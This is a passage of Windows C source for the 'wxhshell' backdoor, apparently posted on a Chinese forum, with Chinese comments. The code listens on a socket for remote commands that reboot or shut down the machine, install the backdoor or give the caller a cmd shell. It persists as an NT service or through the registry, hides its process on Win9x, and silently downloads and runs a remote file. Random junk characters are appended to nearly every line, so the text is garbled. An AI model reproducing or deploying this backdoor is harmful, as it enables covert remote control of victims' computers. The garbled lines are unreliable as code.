  // 帮助 ~zT743  
  case '?': { R\d)kcy4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sW]fPa(cn,  
    break; aJ^RY5  
  } ]KE"|}B  
  // 安装 B(h%>mT[  
  case 'i': { TdWatvY5p  
    if(Install()) .7|Iausv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %uy5la  
    else 24Uvi:B?~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|0}   
    break; 9S]]KEGn4  
    } Cmj+>$')0  
  // 卸载 "8sB,$  
  case 'r': { 7S]<?>*  
    if(Uninstall()) 1'"TO5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _[t:Vme}v  
    else 7@uhw">mX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Xg5 E  
    break; o{?Rz3z  
    } %{HeXe  
  // 显示 wxhshell 所在路径 .bvEE  
  case 'p': { |g,99YIv>  
    char svExeFile[MAX_PATH]; Js}1_K  
    strcpy(svExeFile,"\n\r"); ni`uO<\U  
      strcat(svExeFile,ExeFile); / U5!]7&gB  
        send(wsh,svExeFile,strlen(svExeFile),0); RJk42;]  
    break; nBJ'ak   
    } Uon^z?0A  
  // 重启 ?0J&U4  
  case 'b': { c$#7Kp4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  -#<AbT  
    if(Boot(REBOOT)) Cu&y',ee~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zVyMmw\  
    else { -"~XI~a@Wo  
    closesocket(wsh); {7Q)2NC  
    ExitThread(0); w9]HJ3qi  
    } 2U.'5uA"L  
    break; ,A9_xdv5  
    } ' >R?8Y  
  // 关机 x,:DL)$1  
  case 'd': { 5~GH*!h%;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,zVS}!jRhy  
    if(Boot(SHUTDOWN)) $1}Y4>3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7X`]}z4g  
    else { !THa?U;  
    closesocket(wsh); c%@< h6  
    ExitThread(0); Ssg1p#0J  
    } bAS/cuZs  
    break; Jy?; <  
    } ?8]g&V  
  // 获取shell Q"F" 13  
  case 's': { 8]j*z n?,  
    CmdShell(wsh); 3}kG ]#  
    closesocket(wsh); q@[UeXu?pZ  
    ExitThread(0); c.4WwzK  
    break; IF'Tj`yD  
  } o'J^kd`  
  // 退出 *!m(oP  
  case 'x': { +*L<"@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k$3Iv"gbx  
    CloseIt(wsh); Cm%|hk>fQ  
    break; b>]k=zd  
    } ^ DCBL&I  
  // 离开 x|`BF%e/v  
  case 'q': { t 0.71(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Nacqa  
    closesocket(wsh); Lq2ZgKd!  
    WSACleanup(); >0E3Em<(}l  
    exit(1); Nbb2wr9A  
    break; 8@,8j!$8G  
        } s((c@)M  
  } GUn$IPOM  
  } B]u!BBjC  
,{2= nb[  
  // 提示信息 -an~&C5\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  !U=o<)I  
} l/-qVAd!q  
  } wQX18aF/#d  
~CuJ$(9Y  
  return; R4vf  
} YHzP/&0  
U%)-_ *`z  
// shell模块句柄 =*{Ii]D  
int CmdShell(SOCKET sock) k&lfxb9pd  
{ ^C'{# p"  
STARTUPINFO si; Qo\?(E M  
ZeroMemory(&si,sizeof(si)); "</A) y&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T^Ol=QCu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; # 1 1<=3Yj  
PROCESS_INFORMATION ProcessInfo; *I.eCMDa  
char cmdline[]="cmd"; [\-)c[/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `*",_RO;  
  return 0; >u+%H vzc  
} |eI!wgQx  
wC?>,LOl  
// 自身启动模式 uj:1_&g  
int StartFromService(void) -% \LW1  
{ B$ jX%e{:S  
typedef struct ^h!}jvqE  
{ 4Z.Dz@.c(  
  DWORD ExitStatus; aGNb  Cm  
  DWORD PebBaseAddress; *$Y_ %}  
  DWORD AffinityMask; #'dNSez5  
  DWORD BasePriority; ]Z?jo#F  
  ULONG UniqueProcessId; .z[#j]k  
  ULONG InheritedFromUniqueProcessId; y({lE3P  
}   PROCESS_BASIC_INFORMATION; pi5DDK  
[<WoXS1LX  
PROCNTQSIP NtQueryInformationProcess;  [ J4n%  
CsEU:v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A|YiSwyy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _*ar\A`  
XhUVDmeUMb  
  HANDLE             hProcess; %UlgG 1?A  
  PROCESS_BASIC_INFORMATION pbi; 35J VF*z  
CbwQbJ/v7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pk>S;KT.  
  if(NULL == hInst ) return 0; nK}-^Ur  
<%.lPO]&E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t;V^OGflv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L7[f-cK2:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sQ.t3a3m  
57KrDxE}  
  if (!NtQueryInformationProcess) return 0; yz"hU  
5mX^{V&^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZCuoYE$g  
  if(!hProcess) return 0; TE: |w Xe  
kB.CeG]tk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2!R+5^Iy  
PD~vq^@Q  
  CloseHandle(hProcess); s|I$c;>  
CEAmb[h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vNju|=Lo  
if(hProcess==NULL) return 0; 9_O6Sl  
|w{C!Q8l  
HMODULE hMod; CB#B!;I8v  
char procName[255]; ]k8f1F  
unsigned long cbNeeded; f@2F!  
3$S~!fh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZW4$Ks2]Y  
h>F"GR?U_(  
  CloseHandle(hProcess); q4v:s   
5O;D\M{>  
if(strstr(procName,"services")) return 1; // 以服务启动 l#~pK6@W  
R90#T6^  
  return 0; // 注册表启动 V|~o`(]  
} U>sEFzBup  
eD8e0 D'S  
// 主模块 gVrfZ&XF84  
int StartWxhshell(LPSTR lpCmdLine) !hjF"Pa  
{ KciN"g|X  
  SOCKET wsl; $z`l{F4eMf  
BOOL val=TRUE; "L!U7|9J  
  int port=0; H%>^_:h  
  struct sockaddr_in door; Lrmhr3 w5  
> `mV^QD  
  if(wscfg.ws_autoins) Install(); virt[5w  
(\'$$  
port=atoi(lpCmdLine); zp5ZZcj_  
ZL:SJ,C  
if(port<=0) port=wscfg.ws_port; 6AoKuT;  
IJVzF1vC  
  WSADATA data; [] el4.J,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lF t^dl^  
?C- ju8]|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U1(cBY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v!$:t<-5N  
  door.sin_family = AF_INET; mT #A?C2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E]}_hZU  
  door.sin_port = htons(port); t1G__5wp  
M| Nh(kvH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9kB R/{  
closesocket(wsl); A!Tm[oqu  
return 1; *(qj!U43  
} zXU g(xu  
@vB-.XU  
  if(listen(wsl,2) == INVALID_SOCKET) { jz]}%O  
closesocket(wsl); (>AQ\  
return 1; MiR$N  
} ~FQHT?DAo  
  Wxhshell(wsl); #d06wYz=  
  WSACleanup(); uEf=Vj}G  
&er,Wyc(  
return 0; Y`(~eNX^%  
97qf3^gGd  
} BMqr YW  
7t1as.  
// 以NT服务方式启动 5E*Qqe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "vg.{  
{ jgS3#  
DWORD   status = 0; ANJL8t-m  
  DWORD   specificError = 0xfffffff; tfu`_6  
! ,{zDMA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S^;;\0#NK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~$C}?y^ a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !Z 0U_*&  
  serviceStatus.dwWin32ExitCode     = 0; kDXQpe  
  serviceStatus.dwServiceSpecificExitCode = 0; ;xiwyfqgE  
  serviceStatus.dwCheckPoint       = 0;  axDa&7%  
  serviceStatus.dwWaitHint       = 0; Zw _aeJ  
KCAV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ' MBXk2?b  
  if (hServiceStatusHandle==0) return; w/"vf3}(9  
\.}ZvM$  
status = GetLastError(); %H;}+U]Z  
  if (status!=NO_ERROR) 8a&c=9  
{ `6lOqH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^G2M4+W|  
    serviceStatus.dwCheckPoint       = 0; SM%/pu;  
    serviceStatus.dwWaitHint       = 0; D.Cn`O}  
    serviceStatus.dwWin32ExitCode     = status; jm@,Ihz=wI  
    serviceStatus.dwServiceSpecificExitCode = specificError; ];"40/X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o"FR% %  
    return; e!o\AB%d  
  } '7/F]S0K  
N {~P}Sw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wGw~ F:z  
  serviceStatus.dwCheckPoint       = 0; }+bo?~2E&  
  serviceStatus.dwWaitHint       = 0; dJ#go*Gn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wy .96   
} ^< ;C IXo  
EpQy;#=;  
// 处理NT服务事件,比如:启动、停止 aSu^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LnKgT1  
{ dJ/gc"7aO  
switch(fdwControl) 1KbZ6Msy  
{ ,Q3OQ[Nmh  
case SERVICE_CONTROL_STOP: MBU|<tc  
  serviceStatus.dwWin32ExitCode = 0; ;']u}Nh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @x!,iT  
  serviceStatus.dwCheckPoint   = 0; KO~KaN  
  serviceStatus.dwWaitHint     = 0; nlI3|5  
  { {I0U 4]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~\i(bFd)  
  } dvqg H  
  return; l2:-).7xt  
case SERVICE_CONTROL_PAUSE: 3;VH'hh_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %p$XK(6  
  break; vd(S&&]o1  
case SERVICE_CONTROL_CONTINUE: _p5#`-%mM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5S2 j5M00  
  break; ]z5hTY  
case SERVICE_CONTROL_INTERROGATE: (QL:7  
  break; :o8|P  
}; 4hLk+z<n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @/ |g|4  
} <#4""FO*  
-CuuO=h  
// 标准应用程序主函数 8)=(eI$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) </D.}ia  
{ }Hq3]LVE  
Ez"*',(  
// 获取操作系统版本 Y]KHCY  
OsIsNt=GetOsVer(); `e~i<Pi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D)?%kNeA  
\#LDX,=  
  // 从命令行安装 rab$[?]  
  if(strpbrk(lpCmdLine,"iI")) Install(); FU/:'/ L  
4w=v /WDo  
  // 下载执行文件 fM7B<eB  
if(wscfg.ws_downexe) { sve} ent  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h@\-]zN{  
  WinExec(wscfg.ws_filenam,SW_HIDE); {:*G/*1[.  
} ej@4jpHQN  
U5TkgHN{y  
if(!OsIsNt) { tpEy-"D&  
// 如果时win9x,隐藏进程并且设置为注册表启动 wpt$bqs|1  
HideProc(); nW"O+s3  
StartWxhshell(lpCmdLine); VevG 64o  
} K-)!d$$   
else D_0sXIbg  
  if(StartFromService()) ybqmPT'|_  
  // 以服务方式启动 )W>$_QxbN  
  StartServiceCtrlDispatcher(DispatchTable); /;d 5p  
else dO%f ;m>#  
  // 普通方式启动 R!QR@*N  
  StartWxhshell(lpCmdLine); H"(#Tp ZTE  
O8b#'f~  
return 0; cW_wIy\]&  
}
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只看该作者 1 发表于: 2006-10-10
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